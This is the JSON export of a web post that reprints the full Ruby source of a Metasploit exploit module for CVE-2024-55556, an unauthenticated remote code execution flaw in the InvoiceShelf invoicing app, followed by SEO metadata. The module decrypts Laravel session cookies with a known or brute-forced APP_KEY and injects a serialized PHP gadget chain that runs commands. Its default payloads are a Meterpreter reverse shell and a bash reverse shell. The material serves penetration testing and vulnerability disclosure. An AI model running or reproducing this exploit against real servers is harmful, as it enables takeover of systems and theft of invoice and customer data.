{"id":15140,"date":"2025-08-29T15:38:44","date_gmt":"2025-08-29T15:38:44","guid":{"rendered":"http:\/\/localhost\/?p=15140"},"modified":"2025-08-29T15:38:44","modified_gmt":"2025-08-29T15:38:44","slug":"invoiceshelf-unauthenticated-php-deserialization-vulnerability","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15140","title":{"rendered":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:15&#8243;,&#8221;description&#8221;:&#8221;InvoiceShelf is an open-source web \\u0026amp; mobile app that helps you track expenses, payments, create professional           invoices \\u0026amp; estimates and is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:33&#8243;,&#8221;modified&#8221;:&#8221;2025-03-14T18:51:09&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;InvoiceShelf unauthenticated PHP Deserialization Vulnerability&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-55556&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::LaravelCryptoKiller\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;InvoiceShelf unauthenticated PHP Deserialization Vulnerability&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          InvoiceShelf is an open-source web \\u0026 mobile app that helps you track expenses, payments, create professional\\n          invoices \\u0026 estimates and is based on the PHP framework Laravel.\\n          InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct\\n          PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default\\n          InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.\\n          These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using\\n          Laravel&#8217;s encrypt() function.\\n          An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify\\n          the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve\\n          remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.\\n          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\\n          potentially resulting in complete system compromise, data exfiltration, or unauthorized access\\n          to sensitive information.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die-gr3y \\u003ch00die.gr3y[at]gmail.com\\u003e&#8217;, # MSF module contributor\\n          &#8216;R\u00e9mi Matasse&#8217;, # SynActiv Research Team &#8211; discovery of the vulnerability\\n          &#8216;Micka\u00ebl Benassouli&#8217; # SynActiv Research Team &#8211; discovery of the vulnerability\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2024-55556&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/25C8UQRPhx\/cve-2024-55556&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.synacktiv.com\/advisories\/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2024-12-13&#8217;,\\n        &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_PHP, ARCH_CMD],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;PHP&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n              &#8216;Type&#8217; =\\u003e :php,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Unix\/Linux Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217;\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;SSL&#8217; =\\u003e false,\\n          &#8216;RPORT&#8217; =\\u003e 90\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The InvoiceShelf endpoint URL.&#8217;, &#8216;\/&#8217; ]),\\n      OptString.new(&#8216;APP_KEY&#8217;, [ true, &#8216;Laravel APP_KEY.&#8217;, &#8216;base64:kgk\/4DW1vEVy7aEvet5FPp5un6PIGe\/so8H0mvoUtW0=&#8217;]),\\n      OptPath.new(&#8216;BRUTEFORCE&#8217;, [false, &#8216;File with a list of APP_KEYs, one per line for a bruteforce attack.&#8217;, nil])\\n    ])\\n  end\\n\\n  def execute_command(laravel_cookie_cipher, laravel_cookie, laravel_session_cookie, _opts = {})\\n    laravel_cookie_id = laravel_cookie.split(&#8216;=&#8217;)[0]\\n    send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;login&#8217;),\\n      &#8216;cookie&#8217; =\\u003e \\&#8221;#{laravel_session_cookie}; #{laravel_cookie_id}=#{laravel_cookie_cipher};\\&#8221;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;\\n    })\\n  end\\n\\n  def check\\n    print_status(\\&#8221;Checking if #{peer} can be exploited.\\&#8221;)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;v1&#8217;, &#8216;app&#8217;, &#8216;version&#8217;)\\n    })\\n    return CheckCode::Unknown(&#8216;No valid response received from target.&#8217;) unless res\\u0026.code == 200\\n\\n    # check if target is running the InvoiceShelf platform\\n    # parse json response and get the version\\n    res_json = res.get_json_document\\n    version_number = res_json[&#8216;version&#8217;] unless res_json.blank?\\n    return CheckCode::Safe(&#8216;No InvoiceShelf platform found.&#8217;) if version_number.nil?\\n\\n    if Rex::Version.new(version_number) \\u003c= Rex::Version.new(&#8216;1.3.0&#8217;)\\n      return CheckCode::Appears(\\&#8221;InvoiceShelf #{version_number}\\&#8221;)\\n    end\\n\\n    CheckCode::Safe(\\&#8221;InvoiceShelf #{version_number}\\&#8221;)\\n  end\\n\\n  def exploit\\n    # lets first check if decryption is successful with the APP_KEY by decrypting the Laravel cookie.\\n    # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier\\n    cipher_mode = &#8216;AES-256-CBC&#8217;\\n    res = send_request_cgi!({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;login&#8217;)\\n    })\\n    fail_with(Failure::Unknown, &#8216;No valid response received from target.&#8217;) unless res\\u0026.code == 200\\n\\n    print_status(&#8216;Lets check if the APP_KEY(s) is\/are valid by decrypting the cookie.&#8217;)\\n    print_status(&#8216;Grabbing the cookies.&#8217;)\\n    set_cookie = res.get_cookies\\n    fail_with(Failure::NotFound, &#8216;No cookie found.&#8217;) if set_cookie.nil?\\n    laravel_session_cookie = set_cookie.match(\/laravel_session=([^;]+)\/) # get laravel_session cookie\\n    laravel_cookie = set_cookie.match(\/\\\\w{40}=([^;]+)\/) # search for the 40 alphanumeric cookie identifier\\n    fail_with(Failure::NotFound, &#8216;No cookie found. Unable to check APP_KEY.&#8217;) if laravel_session_cookie.nil? || laravel_cookie.nil?\\n\\n    if datastore[&#8216;BRUTEFORCE&#8217;]\\n      key_file = datastore[&#8216;BRUTEFORCE&#8217;]\\n      print_status(\\&#8221;Starting bruteforce decryption with APP_KEYS listed in #{key_file}.\\&#8221;)\\n      result = laravel_bruteforce_from_file(laravel_cookie[1], key_file, cipher_mode)\\n      fail_with(Failure::NotFound, \\&#8221;Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.\\&#8221;) if result.nil?\\n      valid_app_key = result[&#8216;key&#8217;]\\n      unciphered_value = result[&#8216;value&#8217;]\\n    else\\n      result = laravel_decrypt(laravel_cookie[1], datastore[&#8216;APP_KEY&#8217;], cipher_mode)\\n      fail_with(Failure::BadConfig, \\&#8221;Decryption with APP_KEY: #{datastore[&#8216;APP_KEY&#8217;]} failed.\\&#8221;) if result.nil?\\n      valid_app_key = datastore[&#8216;APP_KEY&#8217;]\\n      unciphered_value = result\\n    end\\n    print_good(\\&#8221;APP_KEY is valid: #{valid_app_key}\\&#8221;)\\n    print_good(\\&#8221;Unciphered value: #{unciphered_value}\\&#8221;)\\n\\n    print_status(&#8216;Generate an encrypted serialized cookie payload with our cracked APP_KEY.&#8217;)\\n    pl = payload.encoded\\n    pl = \\&#8221;echo -n &#8216;#{Base64.strict_encode64(payload.encoded)}&#8217;|(base64 -d||openssl enc -base64 -d)|php\\&#8221; if target[&#8216;Type&#8217;] == :php\\n    pl_len = pl.length\\n    laravel_payload = %(a:2:{i:7;O:40:\\&#8221;Illuminate\\\\\\\\Broadcasting\\\\\\\\PendingBroadcast\\&#8221;:1:{s:9:\\&#8221;\\\\x00*\\\\x00events\\&#8221;;O:35:\\&#8221;Illuminate\\\\\\\\Database\\\\\\\\DatabaseManager\\&#8221;:2:{s:6:\\&#8221;\\\\x00*\\\\x00app\\&#8221;;a:1:{s:6:\\&#8221;config\\&#8221;;a:2:{s:16:\\&#8221;database.default\\&#8221;;s:6:\\&#8221;system\\&#8221;;s:20:\\&#8221;database.connections\\&#8221;;a:1:{s:6:\\&#8221;system\\&#8221;;a:1:{i:0;s:#{pl_len}:\\&#8221;#{pl}\\&#8221;;}}}}s:13:\\&#8221;\\\\x00*\\\\x00extensions\\&#8221;;a:1:{s:6:\\&#8221;system\\&#8221;;s:12:\\&#8221;array_filter\\&#8221;;}}}i:7;i:7;})\\n    b64_laravel_payload = Base64.strict_encode64(laravel_payload)\\n    hash_value = unciphered_value.split(&#8216;|&#8217;)[0]\\n    laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)\\n    fail_with(Failure::BadConfig, &#8216;Laravel cookie encryption failed.&#8217;) if laravel_cookie_cipher.nil?\\n\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    execute_command(laravel_cookie_cipher, laravel_cookie[0], laravel_session_cookie[0])\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/invoiceshelf_unauth_rce_cve_2024_55556.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/invoiceshelf_unauth_rce_cve_2024_55556\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:15&#8243;,&#8221;description&#8221;:&#8221;InvoiceShelf is an open-source web \\u0026amp; mobile app that helps you track expenses, payments, create professional invoices \\u0026amp; estimates and is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:33&#8243;,&#8221;modified&#8221;:&#8221;2025-03-14T18:51:09&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;InvoiceShelf unauthenticated PHP Deserialization Vulnerability&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-55556&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n#&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-15140","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15140\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:15&#8243;,&#8221;description&#8221;:&#8221;InvoiceShelf is an open-source web u0026amp; mobile app that helps you track expenses, payments, create professional invoices u0026amp; estimates and is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:33&#8243;,&#8221;modified&#8221;:&#8221;2025-03-14T18:51:09&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;InvoiceShelf unauthenticated PHP Deserialization Vulnerability&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-55556&#8243;],&#8221;sourceData&#8221;:&#8221;##n#...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15140\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:38:44+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-\",\"datePublished\":\"2025-08-29T15:38:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140\"},\"wordCount\":1384,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15140#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140\",\"name\":\"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:38:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15140\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15140#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15140","og_locale":"en_US","og_type":"article","og_title":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:24:15&#8243;,&#8221;description&#8221;:&#8221;InvoiceShelf is an open-source web u0026amp; mobile app that helps you track expenses, payments, create professional invoices u0026amp; estimates and is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:33&#8243;,&#8221;modified&#8221;:&#8221;2025-03-14T18:51:09&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;InvoiceShelf unauthenticated PHP Deserialization Vulnerability&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-55556&#8243;],&#8221;sourceData&#8221;:&#8221;##n#...","og_url":"https:\/\/zero.redgem.net\/?p=15140","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:38:44+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15140#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15140"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-","datePublished":"2025-08-29T15:38:44+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15140"},"wordCount":1384,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15140#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15140","url":"https:\/\/zero.redgem.net\/?p=15140","name":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:38:44+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15140#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15140"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15140#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"InvoiceShelf unauthenticated PHP Deserialization Vulnerability_MSF:EXPLOIT-LINUX-HTTP-INVOICESHELF_UNAUTH_RCE_CVE_2024_55556-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https: